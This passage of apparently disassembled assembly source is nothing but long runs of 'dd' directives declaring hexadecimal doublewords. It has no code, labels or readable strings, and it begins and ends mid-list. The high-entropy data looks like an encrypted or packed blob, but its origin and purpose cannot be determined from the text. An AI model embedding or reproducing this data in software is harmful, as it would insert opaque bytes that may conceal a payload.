0B1B06793h, 3BF210E7h, 724DC93Bh, 0A4482CA2h dd 4C4E49ACh, 4E170337h, 82B1F832h, 0BBAC5D02h, 1B188D73h dd 38CC55F6h, 0C50DEABFh, 0E6EB4302h, 17B87B73h, 0DC2FCC93h dd 725E95B0h, 7CAB2AD6h, 0E4B69378h, 3FAC5359h, 0CBB5D25h dd 580CB6E5h, 0F7728F7Ah, 415DF426h, 2B7AAA43h, 914A5E94h dd 2267E8BFh, 0D6C760D3h, 17898872h, 2C3505D4h, 0A5CE8AF7h dd 28C8BEBBh, 5B3F6534h, 0E5716312h, 0F37B89B1h, 90C9DF92h dd 0FD25184Eh, 0F2E265FEh, 0F7A84E36h, 0FE597781h, 0B724AA0h dd 7F1E0791h, 2810C215h, 0B30BD982h, 0C96537E7h, 0D7EB4041h dd 5DE0EACDh, 20C7B3C0h, 3AA5A5h, 0A6DA197Fh, 4A2D13E3h dd 0A960F4D9h, 9174D20Bh, 0C5B9E78Ch, 0B5699E4Dh, 0B1A3ECB8h dd 0B062FCA7h, 406062A2h, 9DF2991Dh, 812747A0h, 0B40A93EEh dd 0B3C249ECh, 5E156AAh, 0FF136AE5h, 96BA27Dh, 547210D1h dd 7448D7E5h, 0D3FFB92Fh, 906634F7h, 8EEFA244h, 0D385324Dh dd 3AD8D22h, 4117A334h, 704DF417h, 0E53CAA88h, 56F419A5h dd 0BE6F3247h, 0BCD010Fh, 40030460h, 0BA51F522h, 24368CECh dd 77C5F5F9h, 0E4BE4BE4h, 3766141Ch, 0A7BFD17h, 9E98AC66h dd 52E65590h, 2C73D679h, 3F201972h, 0D69B545Bh, 2838E0ADh dd 3B239F66h, 0F10CE4DEh, 0AD0AA3A6h, 2B7D43D9h, 0DB8D92B0h dd 1D9DA8DCh, 9B72650Ah, 26A4C9C5h, 5CAE2EBAh, 0A07C1FFFh dd 1126935Bh, 728703E7h, 0DD5FBD25h, 0B38697FEh, 0FB886A66h dd 6CE96C12h, 0A8CD0ED2h, 0E64F6358h, 19A86DBBh, 8DE1E2D1h dd 3301F77Eh, 0BF74B033h, 999D85AAh, 0C5245A15h, 0C774304Bh dd 2056C8B8h, 0A4427D1Fh, 0B759B627h, 0BF9ACD56h, 0BC2807E3h dd 80F305CBh, 1B59BB4Bh, 648AB9CDh, 1ED2423Ah, 301E27A4h dd 0A1380750h, 0A78892FCh, 4D457140h, 0AE63DEB0h, 8F1506B8h dd 9375C35Fh, 0A29A9C4Ah, 8A661432h, 4B57D1B0h, 0CAAE632Bh dd 0D392D7FDh, 0B0278E68h, 85C16B24h, 0FB2E309Bh, 6A5B5C54h dd 3F54237Bh, 7A017221h, 3DAAC554h, 0B606601Dh, 0BDCD458Bh dd 47EFF7A1h, 57629F38h, 6D3231B9h, 0CD9E834Bh, 0FF70CAD0h dd 0BD27DB39h, 0E682C64Ch, 0F0597677h, 0B592D907h, 0FEFAEBC2h dd 0FFC0C1CCh, 43A14AF4h, 0CFA008AFh, 1B1DC515h, 55D09C24h dd 0BEA391E7h, 0AAA54D9Dh, 0B6842A1Fh, 3F2A1BC1h, 239ED8F3h dd 8CB25707h, 0B037FDCBh, 360F6029h, 0BFE8A62Fh, 0DD2ADAF2h dd 0D97B48EDh, 0FDC574D7h, 0EF53FCADh, 5D8933C8h, 0A15E1FDDh dd 831C3FB8h, 28C9A0F0h, 1D12B125h, 411C3BD0h, 0EDDCDC3Ch dd 71851A1Ah, 26561CD6h, 457146Fh, 79F4BCAAh, 0A0E8C130h dd 0B9CF88ACh, 0D006C3DDh, 0E32928E2h, 0BF491C2Bh, 2AF367EEh dd 0C4A41A3h, 0B7E6D2EFh, 72196929h, 1FC51775h, 0EB66CA38h dd 5C17210Ch, 0DB186C3Ah, 9421BFD5h, 0AB8E7756h, 0F84EE5CFh dd 0AD183EA7h, 73C1FC1Fh, 7E4C1D8Ah, 0A49D86A4h, 9AB266B9h dd 0B328B839h, 1A0C3E50h, 0EC24D1Eh, 4B739D99h, 14DD8026h dd 0F8EC7F72h, 0A5070766h, 0CF49613Bh, 2BB99435h, 0C5FAFA1Ah dd 183A14FFh, 5BA44AB5h, 8C609ACAh, 491BE6FDh, 80BFC250h dd 0A1B493BCh, 0C43D4C09h, 0D45BDFDh, 1B2B768Eh, 5F43BB2Ch dd 5819386Bh, 9897C6B6h, 0E1F0BD2Eh, 239E89C2h, 8FC85461h dd 0AB98233Fh, 0AE80510Fh, 0C3E78B09h, 7DA305F1h, 301ABEF1h dd 14246A4Bh, 0F9B60AB4h, 2B164275h, 0CC586506h, 0D762A716h dd 0F7C59A5Fh, 427EDE99h, 1946922Ah, 640E3ED8h, 5D8BCC3h dd 0AB49F13Dh, 56465102h, 8CDD91F1h, 0AFBD6550h, 8D4E6E27h dd 0BCE76CD8h, 81A57269h, 6EA11D8Bh, 67022584h, 804271C5h dd 55CB3AE1h, 2EE656FFh, 91E259D2h, 10707726h, 9F0753E7h dd 9C9FF619h, 5C3FB292h, 998A4815h, 1E8E5B75h, 4280D352h dd 5376BF97h, 0DD122359h, 0B0091AAh, 0CCC43643h, 0EB22291Eh dd 9785F954h, 1868AF7Dh, 0D1743AA9h, 1519DC28h, 40141A4Eh dd 0B6C7601Ch, 58F65591h, 0DA77915h, 38805103h, 0FD38320Bh dd 32124D1Ch, 5630D3FCh, 0EF2A7627h, 27C9AFC2h, 4F2B54B7h dd 0C6F76EF2h, 24B24C22h, 9AEE1136h, 59275B4Ah, 0F09FEC5Fh dd 63A37C61h, 0F32601E2h, 72504DA0h, 2A027F2Fh, 4800679h dd 0D535D3FBh, 7ADFEF76h, 8795A252h, 0D52C8595h, 4C627AE0h dd 45F5C300h, 0B0CA8503h, 5D93F3F1h, 0DD6AF938h, 0E5EF7918h dd 7AE8196Dh, 289B7D2Bh, 0C4D55018h, 32FAE47Bh, 4064C312h dd 54E7D6DCh, 4C08B79h, 7C650153h, 0E34F161Fh, 787D2B2h dd 0D4350285h, 0F057B1B3h, 0EF96A251h, 9457CB3h, 0BEBCE282h dd 398181F2h, 76A4C2D5h, 9F32585Bh, 3EB1F8F0h, 308ACFE1h dd 0D7A33EC7h, 33281859h, 0FFA78E8Fh, 0DE6D1EB5h, 0A1B6FB0Fh dd 4D21A841h, 0C7A9F9BEh, 6087DB18h, 537290D0h, 0B0B923FFh dd 305249CEh, 0FCF466EEh, 0D87B2343h, 370ADCFBh, 9B76F917h dd 64E69022h, 73D045DEh, 25D9DE88h, 468B8973h, 0A9E24704h dd 5E81C821h, 1B179BA4h, 0FE23ACF6h, 30F6819Ah, 1299E53Fh dd 2A4E1551h, 0A860465Eh, 0E41E4C14h, 0DC5850A8h, 248D756Eh dd 4090F29Bh, 0E3276DF3h, 1AFAE086h, 49E3CE8Bh, 0E25CCE5h dd 643F6DD6h, 0A76DC2FEh, 41E18F64h, 0FABEF6E6h, 367C0122h dd 0B1BD1DDFh, 0F6FD63E9h, 0EFC36CFEh, 0C3804FDAh, 0A193656Ah dd 0F9EF3B0Ah, 0F0DBB1BBh, 6E669841h, 0C80FC27Eh, 0F27D1569h dd 0BBC890FAh, 0E0B2FEDAh, 8CC5A59Dh, 39389E3Eh, 0BDE12A5Dh dd 0B89D1EA9h, 73503FE0h, 0F985D9DAh, 56987F3Bh, 32539189h dd 0B3CA259Ah, 668DFEC5h, 81EAAD81h, 9226DF74h, 715B2D83h dd 82C72E06h, 5C3359A4h, 0C61EEA8h, 72EC048Bh, 7BA940Eh dd 0C103AA78h, 0ED69120Ch, 0C88CB17Dh, 0C2F614CBh, 3C027D85h dd 0ED2A65E8h, 0A72D2823h, 0B58608D9h, 5236CEABh, 55950D63h dd 32C03FD3h, 0ECC6BF50h, 0C20B94E9h, 0EF3DB121h, 1E3C7BD7h dd 7457BEB3h, 363B391Eh, 4F81B1D7h, 34F9A053h, 0AB464E7h dd 0B398C398h, 23AEFFDh, 55A50CF1h, 8469C46Eh, 51DE5A41h dd 81091F28h, 934E7E2Eh, 0FE325C08h, 54510888h, 1DA59E78h dd 9B834A24h, 6B5658B0h, 9F9D5358h, 3231F1EAh, 0B688D792h dd 4D6B5EABh, 65989DFh, 0F8481A0Bh, 2B021D9h, 0FBAC4486h dd 0BC92FD67h, 4ED3E51Ah, 8C03199Dh, 5D30403Ah, 666C8801h dd 77F452F8h, 0A11B8849h, 43D84FE9h, 0EDFDB99Ch, 62B72DEBh dd 6CE1CBBh, 0FEA795DEh, 77BE58F2h, 0DCCDA22Eh, 0F2164743h dd 1ED619E0h, 0E57254FFh, 36661907h, 0C0E79576h, 6F0E91EDh dd 0D5371ECh, 30DE87A7h, 47F14E23h, 0CDBE3CF4h, 84625B5Ch dd 0E06BEF8Fh, 0E34D2ACFh, 0FBB19474h, 0A8417034h, 0F3B82FDCh dd 1FEF3Eh, 0A2E5C37Bh, 94AEC473h, 0C3CC11A0h, 0E78A409Bh dd 0C615DEB2h, 476413FAh, 0A7091CCh, 62B777E0h, 0F90CCA33h dd 0B9758910h, 0CC4F67E4h dd 0E28A104Eh, 2571D7D8h, 2D9466C3h, 1BAE4B28h, 20726C75h dd 408C075Dh, 0C573365Bh, 0F160C789h, 5A173799h, 4335BD60h dd 3D894D6Ch, 0B6588555h, 0C86022BBh, 0C4D3CEECh, 0F48EC4D8h dd 5159135Dh, 9CCF87E0h, 6413F4AEh, 0ED2D51E4h, 93C85191h dd 804CC76Bh, 0A09761DAh, 4B111B38h, 1384C909h, 9B10C4C3h dd 4DA3D6B4h, 5C7EDEBh, 0FE352A32h, 4B61D425h, 0BDE8D438h dd 0E6DA25B8h, 0CD1FBB23h, 3595F6D4h, 37D7A578h, 0D27C89E4h dd 2673DCB5h, 3A7F878Dh, 44589241h, 5211DE09h, 7C05ADD0h dd 0D79A2CD0h, 8DBCCCA9h, 0B41993FFh, 0A923F77Eh, 0C6B97CF1h dd 0B5CC3535h, 3EDC6A48h, 0B7BCCBAFh, 0E3B31ADDh, 0CF652699h dd 0E59CEB63h, 0BD448162h, 1480E160h, 0FEE23982h, 1907A48Fh dd 24E44DABh, 3278B493h, 1220CB3Eh, 3BF04299h, 76BB24FBh dd 6069D9E8h, 0D761C84Dh, 7C652A39h, 61A8A13Dh, 80A80359h dd 892D6F1Dh, 903B8086h, 0CB2877B8h, 0D45811BBh, 47AEFE56h dd 7D7EEFC2h, 78FA3004h, 0F790A311h, 8B22C923h, 1B273612h dd 0D5B6C2DBh, 0A40DFA51h, 0B4E2C141h, 0B05F9AA7h, 0D5ECDE9h dd 9E92686Fh, 44CF984Eh, 0A6880AEAh, 0B927907Ah, 47FFD0BEh dd 0A62AD8D8h, 0BEDCCB89h, 0EBC9C03Bh, 11D61250h, 512BF64Fh dd 7607BCD3h, 28804D80h, 0C9B67162h, 9BDED854h, 92197822h dd 0CDAD6F0Dh, 0BB269594h, 8699576h, 0A5ED6142h, 11C9AFFAh dd 0D55921EEh, 21E324EDh, 9B70E617h, 0CAE72D9Fh, 603BD6C7h dd 858EFC7h, 6FEDEA3Eh, 4AE5A347h, 8F5ADE0Ah, 0D697136Ah dd 92D3E14Dh, 2FE7D644h, 0AE58D704h, 8F3CE506h, 8C3904E6h dd 6B0ED3Fh, 0B903AC0Fh, 783237E8h, 4295CE84h, 97C9BF22h dd 74088761h, 0F92E7FF1h, 0C68AD2FAh, 5DFFE43h, 17D01167h dd 0B11B85E6h, 0DC622023h, 0DE33CC72h, 0E856A6E4h, 65A08850h dd 22AAB707h, 0D8D3CC84h, 0A3DBC482h, 8D7F7A92h, 44E6B8DEh dd 12639577h, 0CC44BF05h, 0B5F6C54Eh, 69CE7ADh, 2112EAD7h dd 0DD4911B5h, 3708E4DCh, 7EF2B7B8h, 3B840E9Fh, 7B6BBCC4h dd 0F0CC81BFh, 5C28A569h, 2D473231h, 0E36F5F68h, 0A5DDFE19h dd 0AE530332h, 0CC67EACEh, 12D045EFh, 3B13034Fh, 904C1F37h dd 6556B3AFh, 39559C6Ch, 6E9B0F44h, 308203B9h, 5E27D618h dd 2B4CAF3Fh, 952D1D88h, 29473042h, 9C810FF9h, 0B184F8C6h dd 0E97BEFEDh, 31A08BE4h, 0E8E4D432h, 55502508h, 8F0D2545h dd 3290F4B7h, 3B5A565Fh, 8584755Bh, 0AC23BFA3h, 661CA25Fh dd 8D700485h, 546B01DEh, 0EA2706D5h, 2D387EB9h, 0FE0A6E8Ah dd 4F7390D8h, 736C4596h, 61E8D11h, 0FE6BE059h, 74C73CF9h dd 28765D7Ah, 436492A1h, 50FFEFDDh, 0A23AB3D8h, 6DCD987Fh dd 5CA2F529h, 499A390Fh, 1F1B51B4h, 0BDC349EFh, 0F1238089h dd 49CF80h, 0D76F5CC4h, 6CD5DC74h, 972C679Ch, 2D113F73h dd 7789BDAh, 0F33B7483h, 4F8FD8EEh, 46A4D672h, 3352D409h dd 0D98A4805h, 62C1245Ch, 0BB68BEE2h, 0FAE722E8h, 1107C89Bh dd 2EB0734Ah, 0B6DAB725h, 0CE675901h, 989644D5h, 0F39559B4h dd 0D71AA52Bh, 0E255C9DBh, 0CFF7B992h, 29F46B19h, 0ECF7EB65h dd 0A3802901h, 0C52921DEh, 81E0B523h, 0C9B84387h, 34028C0Ah dd 0EC158070h, 1F0E798Fh, 40F7CFD7h, 63105057h, 389E670Bh dd 0B4E7897Bh, 0B11FF197h, 0F1EADC4Eh, 0EDE4681Ah, 0E586195Bh dd 28613C13h, 845FB594h, 4DC0061Ah, 0D7FDD671h, 411B704Dh dd 0B2293F94h, 0AC58DDF5h, 180DC9C6h, 22FE3270h, 0D376D748h dd 718CCE69h, 2BFAAD4Fh, 17EC4F9h, 9AED2084h, 0D3100700h dd 3D76E00Ah, 0B9BB2E12h, 0F12B24h, 0BABAA272h, 0E707F924h dd 4203C882h, 742C1DD7h, 83741CCAh, 23C39122h, 4284263Fh dd 0DEDD8A0Dh, 33F85C41h, 0D8AAA84Fh, 0FBB2EA0Eh, 0F2DCF2BDh dd 5AB5DA72h, 7FA0DD1Dh, 9F253491h, 7EA6DE52h, 0A25F66F5h dd 78081EC7h, 57E6495Ah, 0CF96C0EBh, 7030295Fh, 0A7E02C5Dh dd 42B7AFC3h, 93DB21C3h, 935C242h, 3ECC6B9Fh, 0E511BF75h dd 0BE4F14Ah, 2ADB0EC9h, 72BDD656h, 2E3BF721h, 9943E93h dd 60D1750h, 0C7009B36h, 325B5732h, 84FFFA93h, 0D448259Dh dd 5FD8B26Dh, 4F3634AAh, 6E3DCBDFh, 48431D04h, 17BD22FDh dd 915F0A12h, 1B2CFB95h, 0CCF59CDCh, 0D4CDB72Ch, 42B82C3Ah dd 52DE7164h, 3EDC1467h, 263257C5h, 0DCBCD2C6h, 5647E15h dd 0D112A150h, 0CE195DFAh, 5F3F7290h, 258B46A5h, 21C847A9h dd 920CB474h, 0F1D084E9h, 92EB6C84h, 0EAC26968h, 0C86B2FDh dd 36144150h, 0FB62FD3Eh, 0D774A11Dh, 0CBCFF6E1h, 0C1E2A0DFh dd 659A7F15h, 3F16D590h, 0FB539BBCh, 45F791EBh, 4B42F297h dd 37AE7EABh, 0E78E3821h, 205CB20Bh, 3FD9B006h, 0CAA9DE5Eh dd 0D0223231h, 10CDD622h, 2FA77F45h, 977BEB26h, 29AA04E4h dd 631B9143h, 0DBCB66B5h, 262D13F7h, 9F46CD8Ah, 9C9005D1h dd 248278A1h, 0AEC00822h, 0E36B1A54h, 2C7161F9h, 5064F0CAh dd 0E58EB02Fh, 9F14C91Eh, 36D588CAh, 0CBBF7055h, 6DB6EC6Fh dd 75D1CC65h, 969BA9FEh, 208F4FDCh, 0DA8F7B11h, 6403045h dd 7B59D50Bh, 6227DB05h, 8221C43Ah, 8D48FDF7h, 0F657F8F7h dd 31DFC458h, 0E7052732h, 8950F67Eh, 3539CBD2h, 468A6003h dd 0AC4FDC54h, 0D439550Bh, 5D4490D0h, 54C32CDEh, 3D0F19DFh dd 9E0D7AA7h, 0C0968BEAh, 0E1140538h, 32798301h, 16F50BFh dd 507D4E96h, 0FD3AA341h, 21B9764Bh, 5A1678C8h, 2DD79418h dd 0B858206Fh, 6DB92CEDh, 0BE7E2718h, 999C585Dh, 84DB0D90h dd 9CBFF805h, 0B104C236h, 81EF8D65h, 8C59EB49h, 0B66CDFAEh dd 25040DE2h, 2A3231C9h, 819EC7h, 0CBE326F1h, 9D323123h dd 8ECBF277h, 9E87AECAh, 0CBB6395Bh, 4B6F4B9Fh, 15A91117h dd 0B6FB95FCh, 386FEB49h, 2568CA8h, 22A4A0A0h, 93D59557h dd 244562C4h, 2E303274h, 79D6D626h, 0A81D0ADh, 0DFD292Ah dd 9E3450B9h, 20670263h, 0A4DD7E1Ch, 16AE0DB8h, 92A58F80h dd 89A06C0h, 0EE8D5936h, 45A31576h, 0A3764C6Fh, 0A94580BBh dd 0D0BA32A3h, 79457597h, 37494E97h, 4285AAA2h, 17545D70h dd 0EAFBF6C0h, 9848D6ECh, 0F7E573B8h, 0B051814h, 682BF775h dd 9B6C5A17h, 68B2F160h, 0F0EB29EFh, 7EC23E56h, 7974E0Fh dd 2749532Dh, 0D6E37D16h, 0D796815Dh, 0AA10C36Eh, 1F1D53A5h dd 0D35908DEh, 26F94CFEh, 2821FD08h, 0C1CBCD1Ch, 0DB0A5EC7h dd 0D2C20093h, 3CFBEBC4h, 0D34B09CEh, 0D6B293Eh, 0D80FDE3Dh dd 0B10597E3h, 0AD1DD305h, 9853C8D3h, 0F4E0A4F2h, 72692DE0h dd 0C25C6DBh, 2C4E12B4h, 0D4C46D0Eh, 0F6CB4337h, 0F512B1E3h dd 49C5C6D2h, 802C0A9Dh, 0C8F759A1h, 5BF33561h, 4D827169h dd 0CB03A6A8h, 8FD4C07Bh, 0C0647BD4h, 0EB0A25B3h, 1FE1645Bh dd 0DF98B627h, 0FEBD32FAh, 1B08832Ah, 69F640C4h, 8AA67929h dd 7BCC1D18h, 0A559A1A9h, 777D5C0Fh, 9401E482h, 0A0004307h dd 43B17721h, 1CB3C1CFh, 0E364565Eh, 4402F3C3h, 6CB745BDh dd 0C99B748Bh, 0DED7BBBh, 5DC44661h, 76448DDEh, 195327BDh dd 0DCEA5708h, 0CF0989A4h, 2DAAEE03h, 0D050B8E7h, 0B01DD188h dd 0EEE3DC17h, 0C9AF9DA9h, 9B90DE38h, 871504A7h, 0C6C703C0h dd 8CF57A97h, 6A307DCFh, 251B8A0Ch, 3521D335h, 0B1B7290Bh dd 541E7440h, 0ADEFC644h, 1722AA8Ah, 65EB7A93h, 0ABF55F1Eh dd 5BFF29ACh, 0E504C479h dd 617DD0E7h, 765DE7E5h, 0A5E1B5CDh, 0A3E2DC13h, 0CF2076D2h dd 84959F7h, 6DE4E6BFh, 93B771D3h, 0FED2D92Eh, 0C7C59AA8h dd 0A044D1E3h, 70565E00h, 7B278316h, 0B9A69B48h, 3EDD88Eh dd 5A0F7458h, 463638FBh, 9EAE8784h, 0B8D32EBEh, 5697076Eh dd 110D08E3h, 36E66260h, 5B1B0F2Ah, 0F232EE4Ch, 0C382695h dd 4F846C11h, 47FEDC36h, 9CD99555h, 2D84C1FDh, 3B499962h dd 2E60E6A7h, 69F7BE7Bh, 8BB7E26h, 5FA10CBBh, 1EBEA674h dd 40EEE18Ch, 0BB1AA1C7h, 7F790F3Eh, 0FA4751F4h, 0C39110B2h dd 51361378h, 68B24273h, 5D1DD2D2h, 0E6FE92B6h, 8353691Dh dd 8629D9D6h, 692EBB33h, 0D0202639h, 532817CEh, 0F7859270h dd 2D9A1B89h, 0A00A875h, 15E3B9A2h, 0FFFDBC94h, 9407F888h dd 17B1394Eh, 3202DE0Bh, 41DBBBDDh, 0C7DB7F1h, 0A3D1C007h dd 46628AFEh, 0A679808Bh, 2E1B70CDh, 282BEDAFh, 3DCCF8CCh dd 0F05F730Ah, 0B767B1DBh, 0F033937Eh, 835C3880h, 8E363FB5h dd 0B572ADECh, 94979EE7h, 0E702F05Eh, 96A45772h, 0DDDDCD6Ah dd 5F722026h, 0FDA481EEh, 25FAC089h, 5953922Fh, 0D67EEF48h dd 0EF32CDA3h, 0F24951B7h, 493CA489h, 1758ACB8h, 8C7237Ah dd 0B2D4123Ch, 0F526CA56h, 1C6D0259h, 0BF30C15h, 0D6A3CD17h dd 1AE4693Bh, 251832AFh, 49471F7Ch, 1A30F5B8h, 2C67C11Ah dd 92663F1Dh, 6E8520B3h, 0F240EA47h, 129957D1h, 19CA0A51h dd 0E96CCFE2h, 60E81807h, 954BFDD7h, 38F86A21h, 9B776EFEh dd 0AADA4343h, 0A321DC37h, 57ED675Dh, 0A70E1C5h, 56CDD623h dd 0A52975ABh, 50DA6F4h, 6EC8242h, 5DE2455Ah, 66F64A4Eh dd 4CB1FF71h, 5B4EAD37h, 7EF6AF76h, 0E572F69h, 32315664h dd 0F843E460h, 57829028h, 514681Ch, 859FBD62h, 9E27B058h dd 3A0D544Eh, 38336A76h, 0AFFC46E8h, 9AD9B1AAh, 9596423Dh dd 87378639h, 0E1C3ACC9h, 39BB5E3Dh, 0E7443E2Eh, 7244047Ah dd 8ACA4CC6h, 404852B5h, 0A9F5F5AFh, 0EE0F89B8h, 83B76880h dd 219B0737h, 0D1020819h, 711B3475h, 0F1A39D16h, 31D7FF3Ch dd 7C3D7B32h, 3CBE543Ch, 125D3454h, 0AAF41260h, 4A0B30D4h dd 0FDD158h, 952A719h, 24406EDBh, 49EC60C0h, 6359E844h dd 3027FB5h, 10C0175Dh, 0AB54BC06h, 325C390Eh, 5346F31Fh dd 8C518749h, 0C43ED8A3h, 2103A33Fh, 0BB26F8CBh, 30A8E5E4h dd 0C8E57A66h, 79EDF887h, 0CD95092Bh, 8387725Fh, 4EAAF97h dd 0A08F5A2Fh, 0F479F83Ah, 2FE9365Fh, 226D3C07h, 101E8749h dd 722C2D87h, 2B9812CEh, 0CEE952D4h, 78F7960Fh, 19C3EE33h dd 0C615DDD2h, 0A264E8BAh, 0E67053EEh, 327A2D52h, 0EFEA656Dh dd 388A0021h, 0C07E6162h, 52A94E4h, 0BA9B4B6Fh, 79686269h dd 8B975505h, 664A46DBh, 3B80D1A9h, 0CEF9A6E9h, 46B94E05h dd 1B529FD9h, 0B7EFF9BCh, 0B82C3C74h, 1B4963ACh, 0FB01C4FFh dd 4B99176Fh, 7FD20BD9h, 8DA64341h, 0AEA032BEh, 0DD1AA17Ch dd 87837060h, 509A53A3h, 63300C01h, 18D55E2Ch, 0A5E90869h dd 5AAB5F74h, 0CB1CB89Bh, 37BACCF0h, 0DED95127h, 0F646C1A6h dd 4F070B66h, 0B27DD815h, 3E385C5Ah, 0B518E948h, 0C57A2064h dd 227A8DAFh, 0DC74F3AFh, 1623AD58h, 0D8FEB8F5h, 5C000B8Bh dd 0CA3DF398h, 8129B354h, 6C10E2EAh, 0D47B545Dh, 12CD1153h dd 0B330A712h, 684ED7E1h, 0C43E71A5h, 62641315h, 0A0DAC84Bh dd 2C7D7C0h, 6285F671h, 9037856Ch, 5022FBA5h, 0F62F1CDEh dd 8444B30Ah, 6629086Ch, 0EADC04ECh, 0D9499041h, 0BA8EB9F4h dd 0FBCA3DD3h, 0AEA5FF62h, 33B92A1Dh, 0F5230C11h, 2324F4F0h dd 3A7646A1h, 0EBFD3808h, 0A466A89Ah, 4BEA05AAh, 0D05EA20Bh dd 884D467Ah, 4FA43CD8h, 0C18DE177h, 17B82A5Ch, 0BAF2893Bh dd 0CB27E9E0h, 12FE7AB7h, 4033A9CCh, 918F694Eh, 97BCE120h dd 0A5802CAFh, 4DB8936Eh, 6CB91A08h, 0F394DE3Dh, 9D33BA92h dd 0F9C6DB76h, 8CA25F19h, 188411B4h, 7959ADA5h, 29566C39h dd 5E730791h, 0C017EEC3h, 0E2DAA619h, 0E6249604h, 78F7DC6Ch dd 18C77C82h, 0E3F67EAAh, 72BC6389h, 28051A95h, 0B9A4CD9Dh dd 4865B5AEh, 0C0039D6Ah, 29173C3Dh, 0BEF2445h, 0E301231Ch dd 30E5E3D4h, 0C8F74A37h, 8F010EC2h, 87BAA55Ah, 3B3AAC89h dd 0ABF5A736h, 0EE873231h, 86FC8F98h, 0BC714ED7h, 944973B3h dd 8219D23Bh, 0BD8CA7BFh, 0CC42F007h, 4B0A437Bh, 0F398A367h dd 4141BA21h, 0C0D185E9h, 0E2CEF856h, 31DF6552h, 2060BB32h dd 13619836h, 1E9CD8CAh, 49EE44E6h, 274AB8C2h, 0A0D6237Ah dd 9F1F388Bh, 0DBDDD232h, 0B4337ECEh, 0C373B175h, 14654BB0h dd 93027884h, 96AE6FC9h, 0B35C7164h, 71497BE3h, 0CB538E13h dd 4A8032F4h, 690CBCC1h, 0BE8675Ah, 5DC44A65h, 6E7C412Fh dd 4BF8FC7Fh, 0EE40C801h, 7AD1C2D9h, 1212031Ah, 0C1D991EEh dd 28214339h, 96E8EA91h, 79864A56h, 14809CAAh, 22439697h dd 5FC08EB3h, 2B0FBD76h, 0A40977E6h, 0F889BB5Eh, 0F8750625h dd 2A574FB2h, 0CE492F50h, 3B65300Ah, 5AEB6B40h, 30146A03h dd 994B42A5h, 0EA35E44Eh, 7BCF387Ah, 3A3E999Ah, 151EB39Dh dd 0F8805EBCh, 996D0719h, 3D0D4DA8h, 12FDEC76h, 10BCB45Dh dd 49A09434h, 492BAA9h, 0DE37ED21h, 4A682211h, 0F3219206h dd 0D754A547h, 0B98D8CDh, 5D47C3FBh, 71187E1Ah, 0BA5E37E2h dd 0CDAFA961h, 0D7D4A770h, 9CD2A2DAh, 7B5E78A4h, 0C8A0E0F3h dd 265CB1F4h, 22ADC8E6h, 4824BB0Eh, 0A8A935A8h, 1457BDA8h dd 64D2BD01h, 0F44BB7F0h, 5AA63CF3h, 0F5645491h, 69252564h dd 38BD1640h, 462DF46Dh, 766D57F9h, 0BFF8AE3Fh, 990452CEh dd 1AB6709Eh, 176CDA83h, 75C130EDh, 103FF058h, 0F4BE7D53h dd 1B4DC39Eh, 71F15F60h, 0BB3B3D9Ch, 12FAF50Ah, 845E0D45h dd 90E619h, 0F4AC8BFEh, 86E1CFD9h, 4AC0B22Ch, 8F020F3Eh dd 924F206Fh, 5B9C76DFh, 0EEF71F60h, 6DD79D95h, 0A987B3E0h dd 64615F69h, 0D691065h, 9ABFE42Eh, 0CF58134Eh, 0A1ED69F3h dd 0D5B8953Bh, 7802AD03h, 0BB4164B6h, 1E0DBD7Fh, 0DE168570h dd 3814C92Bh, 5FCC2C4Bh, 4552418Fh, 9A62D1D0h, 0C341E187h dd 95CFFDCDh, 0E63D7AD0h, 0E7AE5DCEh, 0FFA2D0DCh, 536DD78Bh dd 7633ABADh, 0DD6F12AFh, 256DD426h, 2F5B2695h, 0A223D5CEh dd 0D8666C5Ah, 5DBA0008h, 844E5CB8h, 4DB4324Dh, 0A4248713h dd 8198274Bh, 6AAD3246h, 0DD91DDBFh, 1F6B4703h, 1C7429DEh dd 0C8D1CAABh, 0BBC08CC2h, 0CDC3A4C7h, 6D63531Ch, 0CDFBE9D0h dd 957C4CADh, 0CEE40A79h, 65B15561h, 7D166B77h, 0B94337C6h dd 7EABFBE9h, 3743E884h, 29A75465h, 0E8C507EBh, 0B26E4ED2h dd 0A9159263h, 95CBADDDh, 3DC75EE2h, 8355E00Bh, 7CD6FE5Ah dd 8445CE5Ah, 42EF859Ch, 0D7503D46h, 1DDC1F6Dh, 940B9581h dd 0D7BD2540h, 5241D0B6h, 0EAA69EA7h, 940A8AC6h, 7D1A47BCh dd 0A79EDB9h, 0C421299Bh, 28666A68h, 0DFE3FD44h, 0A637B560h dd 44786A4Fh, 79181B60h, 1F5055FDh, 0AE6C5F9Fh, 0C308D7E6h dd 0A29B29C2h, 43240B3Fh, 86987681h, 0D53BA93Ah, 0BE2CAFDEh dd 0EF749121h, 8491F02h, 0D37BF99Dh, 0B74632CBh, 7C255D5Eh dd 0CDB75732h, 3BEDE4ECh, 11B8D37Ah, 3B10FE8Ah, 592CF61Fh dd 0B3196B22h, 40D788E8h, 40CD5EF9h, 9E280AEBh, 0A4B237D4h dd 0B28ABE93h, 50B7A01Dh, 68EFBB6Dh, 32315453h, 9773193Ch dd 6D4FA44h, 0DA6C7AEAh dd 0EB5A8A52h, 2E28ADA9h, 1F4952F4h, 0A7706646h, 1DD44FD2h dd 0E7A21916h, 219DA10h, 4563CDEEh, 1B90B939h, 24B0575Ah dd 96E3C1CBh, 6A879E0Ah, 88143CD5h, 8AF4DC12h, 0F3BD2795h dd 5A05D4ADh, 26514A5Dh, 0A28C971Dh, 634F2298h, 30132265h dd 32314878h, 318481E2h, 1852E632h, 0A49055E0h, 0A1808274h dd 5945795Eh, 0CC680918h, 87B34C04h, 39C4DA0Ch, 0B30C046Fh dd 0B1FC241Bh, 0A300A0C3h, 80D3E16Bh, 45970ACh, 0E9994AEDh dd 29E641EFh, 0F8D65EA5h, 0CC0F22C6h, 84000E9Bh, 0D3FC8F08h dd 0EC263683h, 0F94C5D96h, 0F7A32EF2h, 0D8F8DCFFh, 0B8CA878Ch dd 791FBA20h, 0B18E468Ah, 0F96E7708h, 0A8D9CF7Eh, 72A30518h dd 60628F93h, 0D809FF36h, 9F5C0BAFh, 0DBC289D1h, 4278FD9Bh dd 56092AE1h, 90866BBh, 0CDCDBFFBh, 78B1C99Bh, 24E365A9h dd 0E73B246h, 312920A7h, 6C614332h, 0AA9E56Fh, 864D972Fh dd 0E04798DCh, 89C724Ah, 47495CEAh, 0D5DE1387h, 944FD94Fh dd 0F961883Ch, 3A1BDC1h, 0DAB19A2Fh, 1E4541F4h, 7D258DFEh dd 0D33D69BEh, 26CECF59h, 0D644D61h, 21DC7EB1h, 7FBD3A2Bh dd 9F9C7A68h, 86A8C1ABh, 0C2DC19Dh, 292CC7BFh, 0AE1D84Eh dd 235FFDC9h, 